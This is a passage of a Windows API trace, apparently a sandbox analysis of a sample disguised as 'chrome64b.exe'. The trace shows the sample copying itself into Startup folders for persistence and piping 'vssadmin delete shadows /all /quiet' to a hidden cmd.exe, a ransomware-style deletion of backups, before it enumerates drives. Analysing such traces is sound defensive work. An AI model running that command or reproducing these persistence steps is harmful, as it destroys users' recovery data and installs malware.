(HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a40 [0030.318] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a40, Size=0x20) returned 0x625940 [0030.318] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a40 [0030.318] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a40, Size=0x20) returned 0x6258f0 [0030.318] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0030.318] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0030.318] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0030.318] lstrlenW (lpString="kernel32.dll") returned 12 [0030.318] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x625940 | out: hHeap=0x5f0000) returned 1 [0030.318] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0030.318] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6258f0 | out: hHeap=0x5f0000) returned 1 [0030.318] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\chrome64b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\chrome64b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0030.318] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0030.320] ReadFile (in: hFile=0xe4, lpBuffer=0x2050020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2050020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0030.334] WriteFile (in: hFile=0xe8, lpBuffer=0x2050020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2050020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0030.336] ReadFile (in: hFile=0xe4, lpBuffer=0x2050020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2050020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0030.336] CloseHandle (hObject=0xe8) returned 1 [0030.338] CloseHandle (hObject=0xe4) returned 1 [0030.338] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a40 [0030.338] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a40, Size=0x20) returned 0x6258f0 [0030.338] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a40 [0030.338] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a40, Size=0x20) returned 0x625940 [0030.338] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0030.338] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0030.338] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0030.338] lstrlenW (lpString="kernel32.dll") returned 12 [0030.338] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x625940 | out: hHeap=0x5f0000) returned 1 [0030.338] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0030.338] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6258f0 | out: hHeap=0x5f0000) returned 1 [0030.339] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x2050020 | out: hHeap=0x5f0000) returned 1 [0030.344] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x64d448 [0030.345] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x65d450 [0030.345] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a40 [0030.345] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a40, Size=0x20) returned 0x6258f0 [0030.345] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6258f0, Size=0x40) returned 0x626a48 [0030.345] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x626a48, Size=0x80) returned 0x64b460 [0030.345] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x64b460, Size=0x100) returned 0x627bc0 [0030.345] lstrlenW (lpString="") returned 0 [0030.345] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0030.345] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8c) returned 0x627cc8 [0030.345] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0030.345] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x65d450, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0030.345] RegCloseKey (hKey=0xe4) returned 0x0 [0030.345] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x627cc8 | out: hHeap=0x5f0000) returned 1 [0030.345] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0030.345] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0030.345] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x627bc0 | out: hHeap=0x5f0000) returned 1 [0030.345] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe", lpDst=0x64d448, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe") returned 0x4b [0030.345] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x65d450 | out: hHeap=0x5f0000) returned 1 [0030.345] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x64d448 | out: hHeap=0x5f0000) returned 1 [0030.345] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x100000) returned 0x2050020 [0030.346] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a40 [0030.346] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a40, Size=0x20) returned 0x6258f0 [0030.346] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a40 [0030.346] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a40, Size=0x20) returned 0x625940 [0030.346] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0030.346] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0030.346] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0030.346] lstrlenW (lpString="kernel32.dll") returned 12 [0030.346] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6258f0 | out: hHeap=0x5f0000) returned 1 [0030.346] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0030.346] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x625940 | out: hHeap=0x5f0000) returned 1 [0030.346] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\chrome64b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\chrome64b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0030.346] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0030.349] ReadFile (in: hFile=0xe4, lpBuffer=0x2050020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2050020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0030.364] WriteFile (in: hFile=0xe8, lpBuffer=0x2050020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2050020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0030.366] ReadFile (in: hFile=0xe4, lpBuffer=0x2050020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2050020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0030.366] CloseHandle (hObject=0xe8) returned 1 [0030.368] CloseHandle (hObject=0xe4) returned 1 [0030.368] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a40 [0030.368] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a40, Size=0x20) returned 0x625940 [0030.368] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a40 [0030.368] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a40, Size=0x20) returned 0x6258f0 [0030.368] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0030.368] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0030.368] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0030.368] lstrlenW (lpString="kernel32.dll") returned 12 [0030.368] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6258f0 | out: hHeap=0x5f0000) returned 1 [0030.368] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0030.368] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x625940 | out: hHeap=0x5f0000) returned 1 [0030.368] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x2050020 | out: hHeap=0x5f0000) returned 1 [0030.372] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x62b438 | out: hHeap=0x5f0000) returned 1 [0030.372] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63b440 | out: hHeap=0x5f0000) returned 1 [0030.372] lstrlenW (lpString="%windir%\\System32") returned 17 [0030.372] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6269b8 | out: hHeap=0x5f0000) returned 1 [0030.372] lstrlenW (lpString="%appdata%") returned 9 [0030.372] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6043a8 | out: hHeap=0x5f0000) returned 1 [0030.372] lstrlenW (lpString="%sh(Startup)%") returned 13 [0030.372] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x604380 | out: hHeap=0x5f0000) returned 1 [0030.372] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0030.372] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x626a00 | out: hHeap=0x5f0000) returned 1 [0030.372] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a40 [0030.372] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a40, Size=0x20) returned 0x604380 [0030.372] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604380, Size=0x40) returned 0x626a00 [0030.372] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x626a00, Size=0x80) returned 0x64b460 [0030.372] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a40 [0030.373] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a40, Size=0x20) returned 0x604380 [0030.373] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x1fffc) returned 0x62b438 [0030.373] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x64d448 [0030.373] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x65d450 [0030.373] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a40 [0030.373] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a40, Size=0x20) returned 0x6043a8 [0030.373] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6043a8, Size=0x40) returned 0x626a00 [0030.373] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x626a00, Size=0x80) returned 0x64b4e8 [0030.373] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x64b4e8, Size=0x100) returned 0x627bc0 [0030.373] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0030.373] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x627bc0 | out: hHeap=0x5f0000) returned 1 [0030.373] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x64d448, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0030.373] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x65d450 | out: hHeap=0x5f0000) returned 1 [0030.373] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x64d448 | out: hHeap=0x5f0000) returned 1 [0030.373] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0030.373] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0030.374] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0030.374] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0030.374] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x9bc, dwThreadId=0x9c0)) returned 1 [0030.585] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0030.585] WriteFile (in: hFile=0xec, lpBuffer=0x64b460*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x64b460*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0030.585] CloseHandle (hObject=0xfc) returned 1 [0030.585] CloseHandle (hObject=0xf8) returned 1 [0030.586] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x62b438 | out: hHeap=0x5f0000) returned 1 [0030.586] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0030.586] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x64b460 | out: hHeap=0x5f0000) returned 1 [0030.586] lstrlenW (lpString="%comspec%") returned 9 [0030.586] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x604380 | out: hHeap=0x5f0000) returned 1 [0030.586] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0030.586] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x624a40 [0030.586] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x624a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0030.587] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x6047b8 [0030.587] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x6047b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0030.587] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a58 [0030.587] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a58, Size=0x20) returned 0x604380 [0030.587] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604380, Size=0x40) returned 0x626a00 [0030.587] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0030.587] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xd0) returned 0x627c38 [0030.587] GetLogicalDrives () returned 0x4 [0030.587] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10014) returned 0x62b438 [0030.587] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a58 [0030.587] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a58, Size=0x20) returned 0x604380 [0030.587] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604380, Size=0x40) returned 0x626a90 [0030.588] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x626a90, Size=0x80) returned 0x64b460 [0030.588] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x64b460, Size=0x100) returned 0x6291a8 [0030.588] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6291a8, Size=0x200) returned 0x6291a8 [0030.588] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6291a8, Size=0x400) returned 0x6291a8 [0030.588] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6291a8, Size=0x800) returned 0x6297c0 [0030.588] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6297c0, Size=0x1000) returned 0x63b458 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10000) returned 0x64d448 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a58 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x624b30 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x4) returned 0x604760 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x624b48 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x4) returned 0x604770 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x624b60 [0030.588] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604770, Size=0x8) returned 0x604770 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x624b78 [0030.588] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604770, Size=0x10) returned 0x604728 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x624b90 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x624ba8 [0030.588] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604728, Size=0x20) returned 0x627ac0 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x624bc0 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x604770 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xe) returned 0x624bd8 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xe) returned 0x624bf0 [0030.588] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x627ac0, Size=0x40) returned 0x6252e8 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xe) returned 0x624c08 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xe) returned 0x624c20 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xe) returned 0x624c38 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xe) returned 0x624c50 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x624c68 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x624c80 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x625330 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x624c98 [0030.588] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6252e8, Size=0x80) returned 0x6291a8 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x624cb0 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x624cc8 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x624ce0 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x624cf8 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x6297d8 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x6297f0 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629808 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x604728 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629820 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629838 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x629850 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629868 [0030.588] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x629880 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629898 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x6298b0 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x6298c8 [0030.589] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6291a8, Size=0x100) returned 0x6291a8 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x6298e0 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x6298f8 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629910 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x629928 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629940 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629958 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x604738 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629970 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629988 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x6299a0 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x6) returned 0x627ac0 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x6299b8 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x6299d0 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x627ad0 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x6299e8 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629a00 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x629a18 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629a30 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629a48 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629a60 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xe) returned 0x629a78 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629a90 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x629aa8 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629ac0 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629ad8 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629af0 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629b08 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x627ae0 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629b20 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629b38 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629b50 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629b68 [0030.589] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6291a8, Size=0x200) returned 0x6291a8 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629b80 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x6252e8 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629b98 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629bd8 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629bf0 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629c08 [0030.589] RtlAllocateHeap 